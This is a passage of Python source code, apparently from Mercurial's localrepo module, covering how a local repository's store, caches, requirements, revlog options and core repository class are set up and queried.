     # ``shared`` and relative to ``.hg/`` for ``relshared``.
     if b'shared' in requirements or b'relshared' in requirements:
         sharedpath = hgvfs.read(b'sharedpath').rstrip(b'\n')
         if b'relshared' in requirements:
             sharedpath = hgvfs.join(sharedpath)
 
         sharedvfs = vfsmod.vfs(sharedpath, realpath=True)
 
         if not sharedvfs.exists():
             raise error.RepoError(
                 _(b'.hg/sharedpath points to nonexistent directory %s')
                 % sharedvfs.base
             )
 
         features.add(repository.REPO_FEATURE_SHARED_STORAGE)
 
         storebasepath = sharedvfs.base
         cachepath = sharedvfs.join(b'cache')
     else:
         storebasepath = hgvfs.base
         cachepath = hgvfs.join(b'cache')
     wcachepath = hgvfs.join(b'wcache')
 
     # The store has changed over time and the exact layout is dictated by
     # requirements. The store interface abstracts differences across all
     # of them.
     store = makestore(
         requirements,
         storebasepath,
         lambda base: vfsmod.vfs(base, cacheaudited=True),
     )
     hgvfs.createmode = store.createmode
 
     storevfs = store.vfs
     storevfs.options = resolvestorevfsoptions(ui, requirements, features)
 
     # The cache vfs is used to manage cache files.
     cachevfs = vfsmod.vfs(cachepath, cacheaudited=True)
     cachevfs.createmode = store.createmode
     # The cache vfs is used to manage cache files related to the working copy
     wcachevfs = vfsmod.vfs(wcachepath, cacheaudited=True)
     wcachevfs.createmode = store.createmode
 
     # Now resolve the type for the repository object. We do this by repeatedly
     # calling a factory function to produces types for specific aspects of the
     # repo's operation. The aggregate returned types are used as base classes
     # for a dynamically-derived type, which will represent our new repository.
 
     bases = []
     extrastate = {}
 
     for iface, fn in REPO_INTERFACES:
         # We pass all potentially useful state to give extensions tons of
         # flexibility.
         typ = fn()(
             ui=ui,
             intents=intents,
             requirements=requirements,
             features=features,
             wdirvfs=wdirvfs,
             hgvfs=hgvfs,
             store=store,
             storevfs=storevfs,
             storeoptions=storevfs.options,
             cachevfs=cachevfs,
             wcachevfs=wcachevfs,
             extensionmodulenames=extensionmodulenames,
             extrastate=extrastate,
             baseclasses=bases,
         )
 
         if not isinstance(typ, type):
             raise error.ProgrammingError(
                 b'unable to construct type for %s' % iface
             )
 
         bases.append(typ)
 
     # type() allows you to use characters in type names that wouldn't be
     # recognized as Python symbols in source code. We abuse that to add
     # rich information about our constructed repo.
     name = pycompat.sysstr(
         b'derivedrepo:%s<%s>' % (wdirvfs.base, b','.join(sorted(requirements)))
     )
 
     cls = type(name, tuple(bases), {})
 
     return cls(
         baseui=baseui,
         ui=ui,
         origroot=path,
         wdirvfs=wdirvfs,
         hgvfs=hgvfs,
         requirements=requirements,
         supportedrequirements=supportedrequirements,
         sharedpath=storebasepath,
         store=store,
         cachevfs=cachevfs,
         wcachevfs=wcachevfs,
         features=features,
         intents=intents,
     )
 
 
 def loadhgrc(ui, wdirvfs, hgvfs, requirements):
     """Load hgrc files/content into a ui instance.
 
     This is called during repository opening to load any additional
     config files or settings relevant to the current repository.
 
     Returns a bool indicating whether any additional configs were loaded.
 
     Extensions should monkeypatch this function to modify how per-repo
     configs are loaded. For example, an extension may wish to pull in
     configs from alternate files or sources.
     """
     try:
         ui.readconfig(hgvfs.join(b'hgrc'), root=wdirvfs.base)
         return True
     except IOError:
         return False
 
 
 def afterhgrcload(ui, wdirvfs, hgvfs, requirements):
     """Perform additional actions after .hg/hgrc is loaded.
 
     This function is called during repository loading immediately after
     the .hg/hgrc file is loaded and before per-repo extensions are loaded.
 
     The function can be used to validate configs, automatically add
     options (including extensions) based on requirements, etc.
     """
 
     # Map of requirements to list of extensions to load automatically when
     # requirement is present.
     autoextensions = {
         b'largefiles': [b'largefiles'],
         b'lfs': [b'lfs'],
     }
 
     for requirement, names in sorted(autoextensions.items()):
         if requirement not in requirements:
             continue
 
         for name in names:
             if not ui.hasconfig(b'extensions', name):
                 ui.setconfig(b'extensions', name, b'', source=b'autoload')
 
 
 def gathersupportedrequirements(ui):
     """Determine the complete set of recognized requirements."""
     # Start with all requirements supported by this file.
     supported = set(localrepository._basesupported)
 
     # Execute ``featuresetupfuncs`` entries if they belong to an extension
     # relevant to this ui instance.
     modules = {m.__name__ for n, m in extensions.extensions(ui)}
 
     for fn in featuresetupfuncs:
         if fn.__module__ in modules:
             fn(ui, supported)
 
     # Add derived requirements from registered compression engines.
     for name in util.compengines:
         engine = util.compengines[name]
         if engine.available() and engine.revlogheader():
             supported.add(b'exp-compression-%s' % name)
             if engine.name() == b'zstd':
                 supported.add(b'revlog-compression-zstd')
 
     return supported
 
 
 def ensurerequirementsrecognized(requirements, supported):
     """Validate that a set of local requirements is recognized.
 
     Receives a set of requirements. Raises an ``error.RepoError`` if there
     exists any requirement in that set that currently loaded code doesn't
     recognize.
 
     Returns a set of supported requirements.
     """
     missing = set()
 
     for requirement in requirements:
         if requirement in supported:
             continue
 
         if not requirement or not requirement[0:1].isalnum():
             raise error.RequirementError(_(b'.hg/requires file is corrupt'))
 
         missing.add(requirement)
 
     if missing:
         raise error.RequirementError(
             _(b'repository requires features unknown to this Mercurial: %s')
             % b' '.join(sorted(missing)),
             hint=_(
                 b'see https://mercurial-scm.org/wiki/MissingRequirement '
                 b'for more information'
             ),
         )
 
 
 def ensurerequirementscompatible(ui, requirements):
     """Validates that a set of recognized requirements is mutually compatible.
 
     Some requirements may not be compatible with others or require
     config options that aren't enabled. This function is called during
     repository opening to ensure that the set of requirements needed
     to open a repository is sane and compatible with config options.
 
     Extensions can monkeypatch this function to perform additional
     checking.
 
     ``error.RepoError`` should be raised on failure.
     """
     if b'exp-sparse' in requirements and not sparse.enabled:
         raise error.RepoError(
             _(
                 b'repository is using sparse feature but '
                 b'sparse is not enabled; enable the '
                 b'"sparse" extensions to access'
             )
         )
 
 
 def makestore(requirements, path, vfstype):
     """Construct a storage object for a repository."""
     if b'store' in requirements:
         if b'fncache' in requirements:
             return storemod.fncachestore(
                 path, vfstype, b'dotencode' in requirements
             )
 
         return storemod.encodedstore(path, vfstype)
 
     return storemod.basicstore(path, vfstype)
 
 
 def resolvestorevfsoptions(ui, requirements, features):
     """Resolve the options to pass to the store vfs opener.
 
     The returned dict is used to influence behavior of the storage layer.
     """
     options = {}
 
     if b'treemanifest' in requirements:
         options[b'treemanifest'] = True
 
     # experimental config: format.manifestcachesize
     manifestcachesize = ui.configint(b'format', b'manifestcachesize')
     if manifestcachesize is not None:
         options[b'manifestcachesize'] = manifestcachesize
 
     # In the absence of another requirement superseding a revlog-related
     # requirement, we have to assume the repo is using revlog version 0.
     # This revlog format is super old and we don't bother trying to parse
     # opener options for it because those options wouldn't do anything
     # meaningful on such old repos.
     if b'revlogv1' in requirements or REVLOGV2_REQUIREMENT in requirements:
         options.update(resolverevlogstorevfsoptions(ui, requirements, features))
     else:  # explicitly mark repo as using revlogv0
         options[b'revlogv0'] = True
 
     if COPIESSDC_REQUIREMENT in requirements:
         options[b'copies-storage'] = b'changeset-sidedata'
     else:
         writecopiesto = ui.config(b'experimental', b'copies.write-to')
         copiesextramode = (b'changeset-only', b'compatibility')
         if writecopiesto in copiesextramode:
             options[b'copies-storage'] = b'extra'
 
     return options
 
 
 def resolverevlogstorevfsoptions(ui, requirements, features):
     """Resolve opener options specific to revlogs."""
 
     options = {}
     options[b'flagprocessors'] = {}
 
     if b'revlogv1' in requirements:
         options[b'revlogv1'] = True
     if REVLOGV2_REQUIREMENT in requirements:
         options[b'revlogv2'] = True
 
     if b'generaldelta' in requirements:
         options[b'generaldelta'] = True
 
     # experimental config: format.chunkcachesize
     chunkcachesize = ui.configint(b'format', b'chunkcachesize')
     if chunkcachesize is not None:
         options[b'chunkcachesize'] = chunkcachesize
 
     deltabothparents = ui.configbool(
         b'storage', b'revlog.optimize-delta-parent-choice'
     )
     options[b'deltabothparents'] = deltabothparents
 
     lazydelta = ui.configbool(b'storage', b'revlog.reuse-external-delta')
     lazydeltabase = False
     if lazydelta:
         lazydeltabase = ui.configbool(
             b'storage', b'revlog.reuse-external-delta-parent'
         )
     if lazydeltabase is None:
         lazydeltabase = not scmutil.gddeltaconfig(ui)
     options[b'lazydelta'] = lazydelta
     options[b'lazydeltabase'] = lazydeltabase
 
     chainspan = ui.configbytes(b'experimental', b'maxdeltachainspan')
     if 0 <= chainspan:
         options[b'maxdeltachainspan'] = chainspan
 
     mmapindexthreshold = ui.configbytes(b'experimental', b'mmapindexthreshold')
     if mmapindexthreshold is not None:
         options[b'mmapindexthreshold'] = mmapindexthreshold
 
     withsparseread = ui.configbool(b'experimental', b'sparse-read')
     srdensitythres = float(
         ui.config(b'experimental', b'sparse-read.density-threshold')
     )
     srmingapsize = ui.configbytes(b'experimental', b'sparse-read.min-gap-size')
     options[b'with-sparse-read'] = withsparseread
     options[b'sparse-read-density-threshold'] = srdensitythres
     options[b'sparse-read-min-gap-size'] = srmingapsize
 
     sparserevlog = SPARSEREVLOG_REQUIREMENT in requirements
     options[b'sparse-revlog'] = sparserevlog
     if sparserevlog:
         options[b'generaldelta'] = True
 
     sidedata = SIDEDATA_REQUIREMENT in requirements
     options[b'side-data'] = sidedata
 
     maxchainlen = None
     if sparserevlog:
         maxchainlen = revlogconst.SPARSE_REVLOG_MAX_CHAIN_LENGTH
     # experimental config: format.maxchainlen
     maxchainlen = ui.configint(b'format', b'maxchainlen', maxchainlen)
     if maxchainlen is not None:
         options[b'maxchainlen'] = maxchainlen
 
     for r in requirements:
         # we allow multiple compression engine requirement to co-exist because
         # strickly speaking, revlog seems to support mixed compression style.
         #
         # The compression used for new entries will be "the last one"
         prefix = r.startswith
         if prefix(b'revlog-compression-') or prefix(b'exp-compression-'):
             options[b'compengine'] = r.split(b'-', 2)[2]
 
     options[b'zlib.level'] = ui.configint(b'storage', b'revlog.zlib.level')
     if options[b'zlib.level'] is not None:
         if not (0 <= options[b'zlib.level'] <= 9):
             msg = _(b'invalid value for `storage.revlog.zlib.level` config: %d')
             raise error.Abort(msg % options[b'zlib.level'])
     options[b'zstd.level'] = ui.configint(b'storage', b'revlog.zstd.level')
     if options[b'zstd.level'] is not None:
         if not (0 <= options[b'zstd.level'] <= 22):
             msg = _(b'invalid value for `storage.revlog.zstd.level` config: %d')
             raise error.Abort(msg % options[b'zstd.level'])
 
     if repository.NARROW_REQUIREMENT in requirements:
         options[b'enableellipsis'] = True
 
     if ui.configbool(b'experimental', b'rust.index'):
         options[b'rust.index'] = True
 
     return options
 
 
 def makemain(**kwargs):
     """Produce a type conforming to ``ilocalrepositorymain``."""
     return localrepository
 
 
 @interfaceutil.implementer(repository.ilocalrepositoryfilestorage)
 class revlogfilestorage(object):
     """File storage when using revlogs."""
 
     def file(self, path):
         if path[0] == b'/':
             path = path[1:]
 
         return filelog.filelog(self.svfs, path)
 
 
 @interfaceutil.implementer(repository.ilocalrepositoryfilestorage)
 class revlognarrowfilestorage(object):
     """File storage when using revlogs and narrow files."""
 
     def file(self, path):
         if path[0] == b'/':
             path = path[1:]
 
         return filelog.narrowfilelog(self.svfs, path, self._storenarrowmatch)
 
 
 def makefilestorage(requirements, features, **kwargs):
     """Produce a type conforming to ``ilocalrepositoryfilestorage``."""
     features.add(repository.REPO_FEATURE_REVLOG_FILE_STORAGE)
     features.add(repository.REPO_FEATURE_STREAM_CLONE)
 
     if repository.NARROW_REQUIREMENT in requirements:
         return revlognarrowfilestorage
     else:
         return revlogfilestorage
 
 
 # List of repository interfaces and factory functions for them. Each
 # will be called in order during ``makelocalrepository()`` to iteratively
 # derive the final type for a local repository instance. We capture the
 # function as a lambda so we don't hold a reference and the module-level
 # functions can be wrapped.
 REPO_INTERFACES = [
     (repository.ilocalrepositorymain, lambda: makemain),
     (repository.ilocalrepositoryfilestorage, lambda: makefilestorage),
 ]
 
 
 @interfaceutil.implementer(repository.ilocalrepositorymain)
 class localrepository(object):
     """Main class for representing local repositories.
 
     All local repositories are instances of this class.
 
     Constructed on its own, instances of this class are not usable as
     repository objects. To obtain a usable repository object, call
     ``hg.repository()``, ``localrepo.instance()``, or
     ``localrepo.makelocalrepository()``. The latter is the lowest-level.
     ``instance()`` adds support for creating new repositories.
     ``hg.repository()`` adds more extension integration, including calling
     ``reposetup()``. Generally speaking, ``hg.repository()`` should be
     used.
     """
 
     # obsolete experimental requirements:
     #  - manifestv2: An experimental new manifest format that allowed
     #    for stem compression of long paths. Experiment ended up not
     #    being successful (repository sizes went up due to worse delta
     #    chains), and the code was deleted in 4.6.
     supportedformats = {
         b'revlogv1',
         b'generaldelta',
         b'treemanifest',
         COPIESSDC_REQUIREMENT,
         REVLOGV2_REQUIREMENT,
         SIDEDATA_REQUIREMENT,
         SPARSEREVLOG_REQUIREMENT,
         bookmarks.BOOKMARKS_IN_STORE_REQUIREMENT,
     }
     _basesupported = supportedformats | {
         b'store',
         b'fncache',
         b'shared',
         b'relshared',
         b'dotencode',
         b'exp-sparse',
         b'internal-phase',
     }
 
     # list of prefix for file which can be written without 'wlock'
     # Extensions should extend this list when needed
     _wlockfreeprefix = {
         # We migh consider requiring 'wlock' for the next
         # two, but pretty much all the existing code assume
         # wlock is not needed so we keep them excluded for
         # now.
         b'hgrc',
         b'requires',
         # XXX cache is a complicatged business someone
         # should investigate this in depth at some point
         b'cache/',
         # XXX shouldn't be dirstate covered by the wlock?
         b'dirstate',
         # XXX bisect was still a bit too messy at the time
         # this changeset was introduced. Someone should fix
         # the remainig bit and drop this line
         b'bisect.state',
     }
 
     def __init__(
         self,
         baseui,
         ui,
         origroot,
         wdirvfs,
         hgvfs,
         requirements,
         supportedrequirements,
         sharedpath,
         store,
         cachevfs,
         wcachevfs,
         features,
         intents=None,
     ):
         """Create a new local repository instance.
 
         Most callers should use ``hg.repository()``, ``localrepo.instance()``,
         or ``localrepo.makelocalrepository()`` for obtaining a new repository
         object.
 
         Arguments:
 
         baseui
            ``ui.ui`` instance that ``ui`` argument was based off of.
 
         ui
            ``ui.ui`` instance for use by the repository.
 
         origroot
            ``bytes`` path to working directory root of this repository.
 
         wdirvfs
            ``vfs.vfs`` rooted at the working directory.
 
         hgvfs
            ``vfs.vfs`` rooted at .hg/
 
         requirements
            ``set`` of bytestrings representing repository opening requirements.
 
         supportedrequirements
            ``set`` of bytestrings representing repository requirements that we
            know how to open. May be a supetset of ``requirements``.
 
         sharedpath
            ``bytes`` Defining path to storage base directory. Points to a
            ``.hg/`` directory somewhere.
 
         store
            ``store.basicstore`` (or derived) instance providing access to
            versioned storage.
 
         cachevfs
            ``vfs.vfs`` used for cache files.
 
         wcachevfs
            ``vfs.vfs`` used for cache files related to the working copy.
 
         features
            ``set`` of bytestrings defining features/capabilities of this
            instance.
 
         intents
            ``set`` of system strings indicating what this repo will be used
            for.
         """
         self.baseui = baseui
         self.ui = ui
         self.origroot = origroot
         # vfs rooted at working directory.
         self.wvfs = wdirvfs
         self.root = wdirvfs.base
         # vfs rooted at .hg/. Used to access most non-store paths.
         self.vfs = hgvfs
         self.path = hgvfs.base
         self.requirements = requirements
         self.supported = supportedrequirements
         self.sharedpath = sharedpath
         self.store = store
         self.cachevfs = cachevfs
         self.wcachevfs = wcachevfs
         self.features = features
 
         self.filtername = None
 
         if self.ui.configbool(b'devel', b'all-warnings') or self.ui.configbool(
             b'devel', b'check-locks'
         ):
             self.vfs.audit = self._getvfsward(self.vfs.audit)
         # A list of callback to shape the phase if no data were found.
         # Callback are in the form: func(repo, roots) --> processed root.
         # This list it to be filled by extension during repo setup
         self._phasedefaults = []
 
         color.setup(self.ui)
 
         self.spath = self.store.path
         self.svfs = self.store.vfs
         self.sjoin = self.store.join
         if self.ui.configbool(b'devel', b'all-warnings') or self.ui.configbool(
             b'devel', b'check-locks'
         ):
             if util.safehasattr(self.svfs, b'vfs'):  # this is filtervfs
                 self.svfs.vfs.audit = self._getsvfsward(self.svfs.vfs.audit)
             else:  # standard vfs
                 self.svfs.audit = self._getsvfsward(self.svfs.audit)
 
         self._dirstatevalidatewarned = False
 
         self._branchcaches = branchmap.BranchMapCache()
         self._revbranchcache = None
         self._filterpats = {}
         self._datafilters = {}
         self._transref = self._lockref = self._wlockref = None
 
         # A cache for various files under .hg/ that tracks file changes,
         # (used by the filecache decorator)
         #
         # Maps a property name to its util.filecacheentry
         self._filecache = {}
 
         # hold sets of revision to be filtered
         # should be cleared when something might have changed the filter value:
         # - new changesets,
         # - phase change,
         # - new obsolescence marker,
         # - working directory parent change,
         # - bookmark changes
         self.filteredrevcache = {}
 
         # post-dirstate-status hooks
         self._postdsstatus = []
 
         # generic mapping between names and nodes
         self.names = namespaces.namespaces()
 
         # Key to signature value.
         self._sparsesignaturecache = {}
         # Signature to cached matcher instance.
         self._sparsematchercache = {}
 
         self._extrafilterid = repoview.extrafilter(ui)
 
         self.filecopiesmode = None
         if COPIESSDC_REQUIREMENT in self.requirements:
             self.filecopiesmode = b'changeset-sidedata'
 
     def _getvfsward(self, origfunc):
         """build a ward for self.vfs"""
         rref = weakref.ref(self)
 
         def checkvfs(path, mode=None):
             ret = origfunc(path, mode=mode)
             repo = rref()
             if (
                 repo is None
                 or not util.safehasattr(repo, b'_wlockref')
                 or not util.safehasattr(repo, b'_lockref')
             ):
                 return
             if mode in (None, b'r', b'rb'):
                 return
             if path.startswith(repo.path):
                 # truncate name relative to the repository (.hg)
                 path = path[len(repo.path) + 1 :]
             if path.startswith(b'cache/'):
                 msg = b'accessing cache with vfs instead of cachevfs: "%s"'
                 repo.ui.develwarn(msg % path, stacklevel=3, config=b"cache-vfs")
             if path.startswith(b'journal.') or path.startswith(b'undo.'):
                 # journal is covered by 'lock'
                 if repo._currentlock(repo._lockref) is None:
                     repo.ui.develwarn(
                         b'write with no lock: "%s"' % path,
                         stacklevel=3,
                         config=b'check-locks',
                     )
             elif repo._currentlock(repo._wlockref) is None:
                 # rest of vfs files are covered by 'wlock'
                 #
                 # exclude special files
                 for prefix in self._wlockfreeprefix:
                     if path.startswith(prefix):
                         return
                 repo.ui.develwarn(
                     b'write with no wlock: "%s"' % path,
                     stacklevel=3,
                     config=b'check-locks',
                 )
             return ret
 
         return checkvfs
 
     def _getsvfsward(self, origfunc):
         """build a ward for self.svfs"""
         rref = weakref.ref(self)
 
         def checksvfs(path, mode=None):
             ret = origfunc(path, mode=mode)
             repo = rref()
             if repo is None or not util.safehasattr(repo, b'_lockref'):
                 return
             if mode in (None, b'r', b'rb'):
                 return
             if path.startswith(repo.sharedpath):
                 # truncate name relative to the repository (.hg)
                 path = path[len(repo.sharedpath) + 1 :]
             if repo._currentlock(repo._lockref) is None:
                 repo.ui.develwarn(
                     b'write with no lock: "%s"' % path, stacklevel=4
                 )
             return ret
 
         return checksvfs
 
     def close(self):
         self._writecaches()
 
     def _writecaches(self):
         if self._revbranchcache:
             self._revbranchcache.write()
 
     def _restrictcapabilities(self, caps):
         if self.ui.configbool(b'experimental', b'bundle2-advertise'):
             caps = set(caps)
             capsblob = bundle2.encodecaps(
                 bundle2.getrepocaps(self, role=b'client')
             )
             caps.add(b'bundle2=' + urlreq.quote(capsblob))
         return caps
 
     def _writerequirements(self):
         scmutil.writerequires(self.vfs, self.requirements)
 
     # Don't cache auditor/nofsauditor, or you'll end up with reference cycle:
     # self -> auditor -> self._checknested -> self
 
     @property
     def auditor(self):
         # This is only used by context.workingctx.match in order to
         # detect files in subrepos.
         return pathutil.pathauditor(self.root, callback=self._checknested)
 
     @property
     def nofsauditor(self):
         # This is only used by context.basectx.match in order to detect
         # files in subrepos.
         return pathutil.pathauditor(
             self.root, callback=self._checknested, realfs=False, cached=True
         )
 
     def _checknested(self, path):
         """Determine if path is a legal nested repository."""
         if not path.startswith(self.root):
             return False
         subpath = path[len(self.root) + 1 :]
         normsubpath = util.pconvert(subpath)
 
         # XXX: Checking against the current working copy is wrong in
         # the sense that it can reject things like
         #
         #   $ hg cat -r 10 sub/x.txt
         #
         # if sub/ is no longer a subrepository in the working copy
         # parent revision.
         #
         # However, it can of course also allow things that would have
         # been rejected before, such as the above cat command if sub/
         # is a subrepository now, but was a normal directory before.
         # The old path auditor would have rejected by mistake since it
         # panics when it sees sub/.hg/.
         #
         # All in all, checking against the working copy seems sensible
         # since we want to prevent access to nested repositories on
         # the filesystem *now*.
         ctx = self[None]
         parts = util.splitpath(subpath)
         while parts:
             prefix = b'/'.join(parts)
             if prefix in ctx.substate:
                 if prefix == normsubpath:
                     return True
                 else:
                     sub = ctx.sub(prefix)
                     return sub.checknested(subpath[len(prefix) + 1 :])
             else:
                 parts.pop()
         return False
 
     def peer(self):
         return localpeer(self)  # not cached to avoid reference cycle
 
     def unfiltered(self):
         """Return unfiltered version of the repository
 
         Intended to be overwritten by filtered repo."""
         return self
 
     def filtered(self, name, visibilityexceptions=None):
         """Return a filtered version of a repository
 
         The `name` parameter is the identifier of the requested view. This
         will return a repoview object set "exactly" to the specified view.
 
         This function does not apply recursive filtering to a repository. For
         example calling `repo.filtered("served")` will return a repoview using
         the "served" view, regardless of the initial view used by `repo`.
 
         In other word, there is always only one level of `repoview` "filtering".
         """
         if self._extrafilterid is not None and b'%' not in name:
             name = name + b'%' + self._extrafilterid
 
         cls = repoview.newtype(self.unfiltered().__class__)
         return cls(self, name, visibilityexceptions)
 
     @mixedrepostorecache(
         (b'bookmarks', b'plain'),
         (b'bookmarks.current', b'plain'),
         (b'bookmarks', b''),
         (b'00changelog.i', b''),
     )
     def _bookmarks(self):
         # Since the multiple files involved in the transaction cannot be
         # written atomically (with current repository format), there is a race
         # condition here.
         #
         # 1) changelog content A is read
         # 2) outside transaction update changelog to content B
         # 3) outside transaction update bookmark file referring to content B
         # 4) bookmarks file content is read and filtered against changelog-A
         #
         # When this happens, bookmarks against nodes missing from A are dropped.
         #
         # Having this happening during read is not great, but it become worse
         # when this happen during write because the bookmarks to the "unknown"
         # nodes will be dropped for good. However, writes happen within locks.
         # This locking makes it possible to have a race free consistent read.
         # For this purpose data read from disc before locking  are
         # "invalidated" right after the locks are taken. This invalidations are
         # "light", the `filecache` mechanism keep the data in memory and will
         # reuse them if the underlying files did not changed. Not parsing the
         # same data multiple times helps performances.
         #
         # Unfortunately in the case describe above, the files tracked by the
         # bookmarks file cache might not have changed, but the in-memory
         # content is still "wrong" because we used an older changelog content
         # to process the on-disk data. So after locking, the changelog would be
         # refreshed but `_bookmarks` would be preserved.
         # Adding `00changelog.i` to the list of tracked file is not
         # enough, because at the time we build the content for `_bookmarks` in
         # (4), the changelog file has already diverged from the content used
         # for loading `changelog` in (1)
         #
         # To prevent the issue, we force the changelog to be explicitly
         # reloaded while computing `_bookmarks`. The data race can still happen
         # without the lock (with a narrower window), but it would no longer go
         # undetected during the lock time refresh.
         #
         # The new schedule is as follow
         #
         # 1) filecache logic detect that `_bookmarks` needs to be computed
         # 2) cachestat for `bookmarks` and `changelog` are captured (for book)
         # 3) We force `changelog` filecache to be tested
         # 4) cachestat for `changelog` are captured (for changelog)
         # 5) `_bookmarks` is computed and cached
         #
         # The step in (3) ensure we have a changelog at least as recent as the
         # cache stat computed in (1). As a result at locking time:
         #  * if the changelog did not changed since (1) -> we can reuse the data
         #  * otherwise -> the bookmarks get refreshed.
         self._refreshchangelog()
         return bookmarks.bmstore(self)
 
     def _refreshchangelog(self):
         """make sure the in memory changelog match the on-disk one"""
         if 'changelog' in vars(self) and self.currenttransaction() is None:
             del self.changelog
 
     @property
     def _activebookmark(self):
         return self._bookmarks.active
 
     # _phasesets depend on changelog. what we need is to call
     # _phasecache.invalidate() if '00changelog.i' was changed, but it
     # can't be easily expressed in filecache mechanism.
     @storecache(b'phaseroots', b'00changelog.i')
     def _phasecache(self):
         return phases.phasecache(self, self._phasedefaults)
 
     @storecache(b'obsstore')
     def obsstore(self):
         return obsolete.makestore(self.ui, self)
 
     @storecache(b'00changelog.i')
     def changelog(self):
         return self.store.changelog(txnutil.mayhavepending(self.root))
 
     @storecache(b'00manifest.i')
     def manifestlog(self):
         return self.store.manifestlog(self, self._storenarrowmatch)
 
     @repofilecache(b'dirstate')
     def dirstate(self):
         return self._makedirstate()
 
     def _makedirstate(self):
         """Extension point for wrapping the dirstate per-repo."""
         sparsematchfn = lambda: sparse.matcher(self)
 
         return dirstate.dirstate(
             self.vfs, self.ui, self.root, self._dirstatevalidate, sparsematchfn
         )
 
     def _dirstatevalidate(self, node):
         try:
             self.changelog.rev(node)
             return node
         except error.LookupError:
             if not self._dirstatevalidatewarned:
                 self._dirstatevalidatewarned = True
                 self.ui.warn(
                     _(b"warning: ignoring unknown working parent %s!\n")
                     % short(node)
                 )
             return nullid
 
     @storecache(narrowspec.FILENAME)
     def narrowpats(self):
         """matcher patterns for this repository's narrowspec
 
         A tuple of (includes, excludes).
         """
         return narrowspec.load(self)
 
     @storecache(narrowspec.FILENAME)
     def _storenarrowmatch(self):
         if repository.NARROW_REQUIREMENT not in self.requirements:
             return matchmod.always()
         include, exclude = self.narrowpats
         return narrowspec.match(self.root, include=include, exclude=exclude)
 
     @storecache(narrowspec.FILENAME)
     def _narrowmatch(self):
         if repository.NARROW_REQUIREMENT not in self.requirements:
             return matchmod.always()
         narrowspec.checkworkingcopynarrowspec(self)
         include, exclude = self.narrowpats
         return narrowspec.match(self.root, include=include, exclude=exclude)
 
     def narrowmatch(self, match=None, includeexact=False):
         """matcher corresponding the the repo's narrowspec
 
         If `match` is given, then that will be intersected with the narrow
         matcher.
 
         If `includeexact` is True, then any exact matches from `match` will
         be included even if they're outside the narrowspec.
         """
         if match:
             if includeexact and not self._narrowmatch.always():
                 # do not exclude explicitly-specified paths so that they can
                 # be warned later on
                 em = matchmod.exact(match.files())
                 nm = matchmod.unionmatcher([self._narrowmatch, em])
                 return matchmod.intersectmatchers(match, nm)
             return matchmod.intersectmatchers(match, self._narrowmatch)
         return self._narrowmatch
 
     def setnarrowpats(self, newincludes, newexcludes):
         narrowspec.save(self, newincludes, newexcludes)
         self.invalidate(clearfilecache=True)
 
     @util.propertycache
     def _quick_access_changeid(self):
         """an helper dictionnary for __getitem__ calls
 
         This contains a list of symbol we can recognise right away without
         further processing.
         """
         return {
             b'null': (nullrev, nullid),
             nullrev: (nullrev, nullid),
             nullid: (nullrev, nullid),
         }
 
     def __getitem__(self, changeid):
         # dealing with special cases
         if changeid is None:
             return context.workingctx(self)
         if isinstance(changeid, context.basectx):
             return changeid
 
         # dealing with multiple revisions
         if isinstance(changeid, slice):
             # wdirrev isn't contiguous so the slice shouldn't include it
             return [
                 self[i]
                 for i in pycompat.xrange(*changeid.indices(len(self)))
                 if i not in self.changelog.filteredrevs
             ]
 
         # dealing with some special values
         quick_access = self._quick_access_changeid.get(changeid)
         if quick_access is not None:
             rev, node = quick_access
             return context.changectx(self, rev, node, maybe_filtered=False)
         if changeid == b'tip':
             node = self.changelog.tip()
             rev = self.changelog.rev(node)
             return context.changectx(self, rev, node)
 
         # dealing with arbitrary values
         try:
             if isinstance(changeid, int):
                 node = self.changelog.node(changeid)
                 rev = changeid
             elif changeid == b'.':
                 # this is a hack to delay/avoid loading obsmarkers
                 # when we know that '.' won't be hidden
                 node = self.dirstate.p1()
                 rev = self.unfiltered().changelog.rev(node)
             elif len(changeid) == 20:
                 try:
                     node = changeid
                     rev = self.changelog.rev(changeid)
                 except error.FilteredLookupError:
                     changeid = hex(changeid)  # for the error message
                     raise
                 except LookupError:
                     # check if it might have come from damaged dirstate
                     #
                     # XXX we could avoid the unfiltered if we had a recognizable
                     # exception for filtered changeset access
                     if (
                         self.local()
                         and changeid in self.unfiltered().dirstate.parents()
                     ):
                         msg = _(b"working directory has unknown parent '%s'!")
                         raise error.Abort(msg % short(changeid))
                     changeid = hex(changeid)  # for the error message
                     raise
 
             elif len(changeid) == 40:
                 node = bin(changeid)
                 rev = self.changelog.rev(node)
             else:
                 raise error.ProgrammingError(
                     b"unsupported changeid '%s' of type %s"
                     % (changeid, pycompat.bytestr(type(changeid)))
                 )
 
             return context.changectx(self, rev, node)
 
         except (error.FilteredIndexError, error.FilteredLookupError):
             raise error.FilteredRepoLookupError(
                 _(b"filtered revision '%s'") % pycompat.bytestr(changeid)
             )
         except (IndexError, LookupError):
             raise error.RepoLookupError(
                 _(b"unknown revision '%s'") % pycompat.bytestr(changeid)
             )
         except error.WdirUnsupported:
             return context.workingctx(self)
 
     def __contains__(self, changeid):
         """True if the given changeid exists
 
         error.AmbiguousPrefixLookupError is raised if an ambiguous node
         specified.
         """
         try:
             self[changeid]
             return True
         except error.RepoLookupError:
             return False
 
     def __nonzero__(self):
         return True
 
     __bool__ = __nonzero__
 
     def __len__(self):
         # no need to pay the cost of repoview.changelog
         unfi = self.unfiltered()
         return len(unfi.changelog)
 
     def __iter__(self):
         return iter(self.changelog)
 
     def revs(self, expr, *args):
         '''Find revisions matching a revset.
 
         The revset is specified as a string ``expr`` that may contain
         %-formatting to escape certain types. See ``revsetlang.formatspec``.
 
         Revset aliases from the configuration are not expanded. To expand
         user aliases, consider calling ``scmutil.revrange()`` or
         ``repo.anyrevs([expr], user=True)``.
 
         Returns a revset.abstractsmartset, which is a list-like interface
         that contains integer revisions.
         '''
         tree = revsetlang.spectree(expr, *args)
         return revset.makematcher(tree)(self)
 
     def set(self, expr, *args):
         '''Find revisions matching a revset and emit changectx instances.
 
         This is a convenience wrapper around ``revs()`` that iterates the
         result and is a generator of changectx instances.
 
         Revset aliases from the configuration are not expanded. To expand
         user aliases, consider calling ``scmutil.revrange()``.
         '''
         for r in self.revs(expr, *args):
             yield self[r]
 
     def anyrevs(self, specs, user=False, localalias=None):
         '''Find revisions matching one of the given revsets.
 
         Revset aliases from the configuration are not expanded by default. To
         expand user aliases, specify ``user=True``. To provide some local
         definitions overriding user aliases, set ``localalias`` to
         ``{name: definitionstring}``.
         '''
         if specs == [b'null']:
             return revset.baseset([nullrev])
         if user:
             m = revset.matchany(
                 self.ui,
                 specs,
                 lookup=revset.lookupfn(self),
                 localalias=localalias,
             )
         else:
